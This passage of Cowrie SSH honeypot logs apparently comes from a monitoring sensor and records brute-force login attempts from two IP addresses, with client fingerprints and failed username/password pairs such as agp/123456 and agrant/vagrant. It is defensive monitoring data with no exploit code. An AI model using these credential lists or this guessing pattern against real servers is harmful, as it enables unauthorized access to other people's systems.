rt-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:50:44.610969Z","src_ip":"159.203.92.129","session":"7704bf019431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agp","password":"123456","message":"login attempt [agp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:50:44.622027Z","src_ip":"159.203.92.129","session":"7704bf019431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:50:45.627993Z","src_ip":"159.203.92.129","session":"7704bf019431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":35360,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fa83d417e9c","protocol":"ssh","message":"New connection: 78.128.112.74:35360 (159.203.135.109:22) [session: 7fa83d417e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:51:28.652776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:51:28.689680Z","src_ip":"78.128.112.74","session":"7fa83d417e9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:51:28.922158Z","src_ip":"78.128.112.74","session":"7fa83d417e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56778,"dst_ip":"159.203.135.109","dst_port":22,"session":"44c33eb62428","protocol":"ssh","message":"New connection: 159.203.92.129:56778 (159.203.135.109:22) [session: 44c33eb62428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:51:29.698429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:51:29.702935Z","src_ip":"159.203.92.129","session":"44c33eb62428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:51:29.707476Z","src_ip":"159.203.92.129","session":"44c33eb62428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agp","password":"agp","message":"login attempt [agp/agp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:51:29.718285Z","src_ip":"159.203.92.129","session":"44c33eb62428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"access","message":"login attempt [user/access] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:51:30.078111Z","src_ip":"78.128.112.74","session":"7fa83d417e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:51:30.725616Z","src_ip":"159.203.92.129","session":"44c33eb62428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:51:31.205578Z","src_ip":"78.128.112.74","session":"7fa83d417e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51862,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e6709eeac84","protocol":"ssh","message":"New connection: 159.203.92.129:51862 (159.203.135.109:22) [session: 6e6709eeac84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:52:14.430054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:52:14.434458Z","src_ip":"159.203.92.129","session":"6e6709eeac84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:52:14.438342Z","src_ip":"159.203.92.129","session":"6e6709eeac84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agp","password":"agp123","message":"login attempt [agp/agp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:52:14.449727Z","src_ip":"159.203.92.129","session":"6e6709eeac84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:52:15.455443Z","src_ip":"159.203.92.129","session":"6e6709eeac84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56044,"dst_ip":"159.203.135.109","dst_port":22,"session":"400e98f41076","protocol":"ssh","message":"New connection: 159.203.92.129:56044 (159.203.135.109:22) [session: 400e98f41076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:52:57.270876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:52:57.276021Z","src_ip":"159.203.92.129","session":"400e98f41076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:52:57.280704Z","src_ip":"159.203.92.129","session":"400e98f41076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agrant","password":"123456","message":"login attempt [agrant/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:52:57.292751Z","src_ip":"159.203.92.129","session":"400e98f41076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:52:58.299223Z","src_ip":"159.203.92.129","session":"400e98f41076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48018,"dst_ip":"159.203.135.109","dst_port":22,"session":"428cc4bab41d","protocol":"ssh","message":"New connection: 159.203.92.129:48018 (159.203.135.109:22) [session: 428cc4bab41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:53:39.398453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:53:39.402984Z","src_ip":"159.203.92.129","session":"428cc4bab41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:53:39.407917Z","src_ip":"159.203.92.129","session":"428cc4bab41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agrant","password":"vagrant","message":"login attempt [agrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:53:39.419277Z","src_ip":"159.203.92.129","session":"428cc4bab41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:53:40.426070Z","src_ip":"159.203.92.129","session":"428cc4bab41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42190,"dst_ip":"159.203.135.109","dst_port":22,"session":"4363fb0f6b79","protocol":"ssh","message":"New connection: 159.203.92.129:42190 (159.203.135.109:22) [session: 4363fb0f6b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:54:21.617841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:54:21.623001Z","src_ip":"159.203.92.129","session":"4363fb0f6b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:54:21.627910Z","src_ip":"159.203.92.129","session":"4363fb0f6b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agv","password":"123456","message":"login attempt [agv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:54:21.639169Z","src_ip":"159.203.92.129","session":"4363fb0f6b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:54:22.646131Z","src_ip":"159.203.92.129","session":"4363fb0f6b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55554,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3fd332dacee","protocol":"ssh","message":"New connection: 159.203.92.129:55554 (159.203.135.109:22) [session: c3fd332dacee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:55:05.000013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:55:05.089349Z","src_ip":"159.203.92.129","session":"c3fd332dacee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:55:05.102682Z","src_ip":"159.203.92.129","session":"c3fd332dacee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agv","password":"agv","message":"login attempt [agv/agv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:55:05.477420Z","src_ip":"159.203.92.129","session":"c3fd332dacee","protocol":"ssh"}
